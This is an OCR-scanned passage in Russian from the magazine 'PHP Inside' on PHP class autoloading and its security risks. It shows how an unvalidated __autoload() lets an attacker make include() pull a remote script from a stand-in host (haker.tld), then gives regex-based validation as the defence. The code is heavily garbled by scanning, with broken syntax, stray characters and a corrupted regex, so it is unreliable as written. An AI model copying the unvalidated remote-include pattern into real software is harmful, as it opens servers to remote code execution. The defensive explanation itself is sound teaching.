PHP Inside

 
   
 

Главная


Начало
страница1
страница2
страница3
страница4
страница5
страница6
страница7
страница8
страница9
страница10
страница11
страница12
страница13
страница14
страница15
страница16
страница17
страница18
страница19
страница20
страница21
страница22
страница23
страница24
страница25
страница26
страница27
страница28
страница29
страница30
страница31
страница32
страница33
страница34
страница35
страница36
страница37
страница38
страница39
страница40
страница41
страница42
страница43
страница44
страница45
страница46
страница47
страница48
страница49
страница50
страница51
страница52
страница53
страница54
страница55
страница56
страница57
страница58
страница59
страница60
страница61
страница62
страница63
страница64
страница65
страница66
страница67
страница68
страница69
страница70
страница71
страница72
страница73
страница74
страница75
страница76
страница77
страница78
страница79
страница80
страница81
страница82
страница83
страница84
страница85
страница86
страница87
страница88
страница89

 
 
 

 

 

ный загрузчик , нужно позаботиться о повторной регистра­
ции __ autoload ().

Безопасность

При использовании автозагрузчика необходимо позабо­ титься о следующих аспектах безопасности :

•  Подключать только принадлежащие проекту файлы .
Если злоумышленник сумеет загрузить файл в папку ,
из которой осуществляется автоматическое подклю­
чение классов , то получит возможность исполнять РНР -
код на сервере .

•  Проверка имени класса . В качестве параметров функ­
ции __ autoload () может быть передано любое значение ,

поэтому использование полученного значения для пост­роения пути к подключаемому файлу без предваритель­ ной проверки крайне опасно . Пример :

<? php

function __ autoload ($ class ) {

// Строим на базе имени класса путь до файла

$classFileName = $class.' php ;

// Подключение скрипта http://mrw.haker.tld/script.php

ginclude $classFileName >

$className = 'http://www.haker.tld/script 1 ; $object = new $className()

Для повышения уровня безопасности необходимо про­ верять поступающие в автозагрузчик значения параметра на соответствие формату имени класса :

autoload($className) {

// Проверяем имя класса if (!preg_match(7*[a-z] [a-z_0-9]*$/i', $className)) die(' Попытка взлома !!!');

^ include ($ className . ' php );

В приведенном выше примере если значение парамет­ ра не является именем класса , то происходит завершение работы программы . В реальном приложении необходимо известить администратора о возникшей проблеме с ука­ занием полной информации о пользователе , чьи действия привели к возникновению подобной ситуации , скорее все­го осуществлена попытка взлома .

Пример реализации

Рассмотрим пример реализации автоматической загруз­ ки объектов с учетом принятого правила именования клас­ сов / файлов , при котором имя класса совпадает с именем файла . Например , класс с именем User должен находить­ ся в файле User . php .

<? php

// Путь от корня до папки с приложением define ('АРР ROOT PATH ', '/ home / web /');

.'* Перечислим все папки приложения, в которых следует * искать объект для подключения */ $ addToIncludePath = array (

1 classes/CommonLib/Exception', classes/CommonLib/Db ,


'classes/PresentationLayer/Actions', 1 classes/PresentationLayer/Outputs', 1 classes/PresentationLayer/Views',

/* Добавим папки приложения в include path

•  чтобы оператор include искал подключаемый файл

•  в директориях приложения */

ini_set('include_path', ini_get('include_path'). J

PATH_SEPARATOR.APP_ROOT_PATH.DIRECTORY_SEPARATOR. J implode(PATH_SEPARATOR.APP_ROOT_PATH. J DIRECTORY_SEPARATOR. SaddToIncludePath));

// Определим функцию автоматической загрузки объектов
function ___ autoload($className) {

// Проверяем SclassName на соответствие формату

// имени класса

if(!preg_match('/"[a-z][a-z_0-9]*$/i', $className))

throw new SecurityExceptionf 1 Invalid class ^ name format! Attempt to load J [ $className. ] class! 1 );

 

В приведенном примере список директорий , содержа­ щих объявления используемых в ходе исполнения прило­жения классов , перечислен в массиве SaddToIncludePath . Приложение с помощью оператора ini _ set () добавля­ ет список директорий из SaddToIncludePath в директиву include _ path . Таким образом , при каждом вызове include , PHP будет автоматически проверять все папки , перечис­ленные в include _ path , на наличие требуемого файла .

Внутри функции __ autoload () осуществляется проверка

полученного значения ( SclassName ), если значение не удов­ летворяет формату имени класса , то генерируется исклю­чение типа SecurityException (), задача которого предупре­ дить администратора о попытке атаки и аварийно завер­ шить исполнение приложения .

Если в качестве параметра передано имя класса , то пы­ таемся подключить нужный файл с помощью оператора include , который осуществит поиск файла во всех папках , перечисленных в директиве include _ path . Если файл не су­ ществует , то функция include вернет значение false и сгене­ рирует предупреждение , что нежелательно , поэтому для по­ давления возникающих предупреждений воспользуемся оператором « @ » .

Заключение

Функции автозагрузки упрощают разработку приложения , делают код понятным и лаконичным , повышают производи­ тельность за счет загрузки минимального количества необ­ ходимых объектов . Однако автозагрузка не является вол­ шебной палочкой , решающей все проблемы проекта . Клю­ чевой фактор эффективного и безопасного использования данного инструмента - опыт разработчика